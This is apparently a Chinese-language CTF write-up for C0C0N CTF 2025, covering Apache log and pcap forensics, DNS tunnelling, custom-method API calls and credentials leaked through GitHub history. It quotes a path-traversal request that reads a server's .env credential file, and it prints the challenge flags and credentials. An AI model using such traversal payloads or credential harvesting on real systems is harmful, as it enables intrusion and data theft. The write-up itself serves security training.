C0C0N CTF 2025 Writeup：迟开局、快思维与团队协作的故事

当我们的团队加入C0C0N CTF时，比赛时钟已经过半。许多队伍早已领先，但这并未阻挡我们前进的脚步。通过快速侦察与仔细分析相结合，我们攻克了从暴露的API端点、DNS数据外泄到GitHub提交历史泄露等一系列挑战。

尽管起步较晚，我们最终获得了第20名。

已解决挑战的截图

网络挑战：🚨 警报时刻

时间：2025年9月12日星期五凌晨1:50。敌对城市网络防御部门的警报骤然响起。ACPD的公共证据提交门户遭到入侵。初步遥测数据指向影子蛇组织所为。他们不仅攻破了服务器，更摧毁了公众的信任。

作为首席事件响应员，我获得了以下材料：

原始Apache访问日志（apache_access_1.log）
网络流量捕获文件（capture_1.pcap）

我的任务：追踪攻击者足迹，重构攻击链，识别失窃数据。

🔍 第一步：追踪攻击者足迹

Apache日志充满噪音——常规流量、自动扫描和无害请求。但一个IP地址格外突出：203.0.113.10。它不断重复着异常模式。

在Wireshark中使用过滤器：

1

ip.addr == 203.0.113.10

我发现了路径遍历攻击的确凿证据：

1
2
3


GET /view.php?file=../../../../.env HTTP/1.1
Host: 203.0.113.10
User-Agent: http_cloner/1.09.0 (Linux x86_64)

自定义User-Agent是攻击者的指纹——他们的工具留下了独特签名。

c0c0n-ctf{http_cloner/1.09.0 (Linux x86_64)}

🔍 第二步：静默入侵

通过追踪该请求的HTTP流，我发现服务器响应：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 126

APP_ENV=production
APP_DEBUG=false
DB_NAME=acpd_evidence_vault
DB_USER=evidence_user
DB_PASS=ChangeMeInProd!
DB_HOST=127.0.0.1

攻击者成功泄露了数据库凭证。他们的目标明确：证据数据库。

c0c0n-ctf{acpd_evidence_vault}

🔍 第三步：线中密语——隐藏的C2通道

攻击者外泄了一个加密包。简报提到他们"重新利用了基础互联网协议"进行秘密通信。我意识到这指向DNS隧道——一种经典的隐蔽数据外泄和C2技术。

我过滤出攻击者IP的流量以专注其活动：

1

ip.addr == 203.0.113.10

随后专门查找涉及该IP的DNS流量：

1

dns and ip.addr == 203.0.113.10

在数据包列表中，我迅速发现一个异常DNS查询：向status.cdn-updates.test请求TXT记录。该域名本身显得可疑——像是预设的投放点。

对应的DNS响应包含TXT记录值：

1

K9p3-4vQx-72Bm-NEt1

这是通过DNS带外传递的解密密钥——完全符合简报描述。影子蛇组织将DNS作为隐藏的命令控制通道，绕过了传统安全监控（通常仅关注HTTP流量）。

c0c0n-ctf{K9p3-4vQx-72Bm-NEt1}

API挑战：13号消防站的危机

揭露威胁敌对城市应急响应的API漏洞

🚨 13号消防站的危机

13号消防站本是敌对城市力量与可靠性的象征——直到其数字基础设施成为复杂攻击的目标。当消防员与烈火搏斗时，另一种威胁在其计算机系统中悄然蔓延：事件管理应用中的细微疏忽酿成了灾难性漏洞。

该站看似普通的班次分配和事件记录工具已成为攻击者的入口点。暴露的API为敏感信息提供了直接路径：消防员名册、调度记录、响应时间，最终甚至涉及其安全通信系统。

🔍 第一步：初步侦察与Flag发现

我从目标开始：http://adversary-city-firestation13.adversarycity.online

基础枚举揭示了关键端点：

1
2


# 发现初始漏洞
curl http://adversary-city-firestation13.adversarycity.online/api/flag.txt

响应立即返回并直接给出flag。

🔍 第二步：后门漏洞

当我发现安全通信应用已被入侵时，局势升级。本应成为数字盾牌的系统反而成了最大漏洞。

在此挑战中，我花费时间使用旧URL查找API端点未果。作为尝试，我在公共Postman集合中搜索API端点，最终成功获取查询端点。

敌对村庄消防站API的公共集合

关键线索发现

网站页脚包含的关键IP地址：206.189.142.59:8888

沿着Postman集合的线索，我发现了API线索：

1

curl http://206.189.142.59:8888/api/v1/clue

响应：

1
2
3
4
5


{
    "clue": "研究以下内容：https://www.rfc-editor.org/rfc/rfc9110.html#name-methods, 
             https://www.rfc-editor.org/rfc/rfc9110.html#section-5.6.2,
             且'ADVERSARY_WARS@c0c0n'可能是您寻找的密钥 ;)"
}

RFC 9110分析

RFC文档揭示了关于HTTP方法和认证机制的关键见解。第5.6.2节特别讨论了自定义HTTP方法和认证头部——这正是攻击者所利用的漏洞。

🔍 第三步：精心策划的反击

线索ADVERSARY_WARS@c0c0n不仅是字符串——它是自定义HTTP方法。根据RFC 9110，方法区分大小写且可为特定应用扩展。

Stalin Prevan Crasta crafted此请求并引发不同错误：

1
2


curl -X "ADVERSARY_WARS@c0c0n" -H "User-Agent: UNIT-8-SYS4-AE11" http://206.189.142.59:8888/api/v2/getflag
{"error":"Error Detected"}

测试旧版本后揭示了完整入侵程度：

1

curl -X "ADVERSARY_WARS@c0c0n" -H "User-Agent: UNIT-8-SYS4-AE11" http://206.189.142.59:8888/api/v1/getflag

响应令人不寒而栗：

1
2
3
4
5


{
    "flag": "c0c0n-ctf{d983d887184fe083159d95c83e78c281} - 
             那么，您现在能破解这个所谓安全应用的代码吗？→ 
             http://139.59.60.26/api/s3cure-app/"
}

c0c0n-ctf{d983d887184fe083159d95c83e78c281}

🚨 泄露挑战基础设施

挑战提示：故事提到开发人员的"快速修复"本应事后清理。这直接指向意外提交到版本控制的硬编码凭证。

我的操作：

在GitHub搜索GridTech Inc.或相关仓库
寻找诊断工具仓库，可能命名为gridtech-diagnostics或power-station-tool
在旧提交中发现开发人员在配置文件中硬编码了用户名和密码
使用这些凭证组成flag格式：c0c0n-ctf{username:password}

发现硬编码凭证的仓库旧提交截图

c0c0n-ctf{c0c0n_2025_Adv_admin:PowerGrid_c0c0n_2025_Adv!}

C0C0N CTF 2025技术解析：路径遍历、DNS隧道与API安全攻防实战

本文详细记录了C0C0N CTF 2025竞赛的完整解题过程，涵盖网络取证、API安全漏洞利用、DNS隧道技术分析等核心内容。通过真实场景再现，展示了路径遍历攻击、凭证泄露、隐蔽通信信道等企业级安全威胁的检测与分析方法。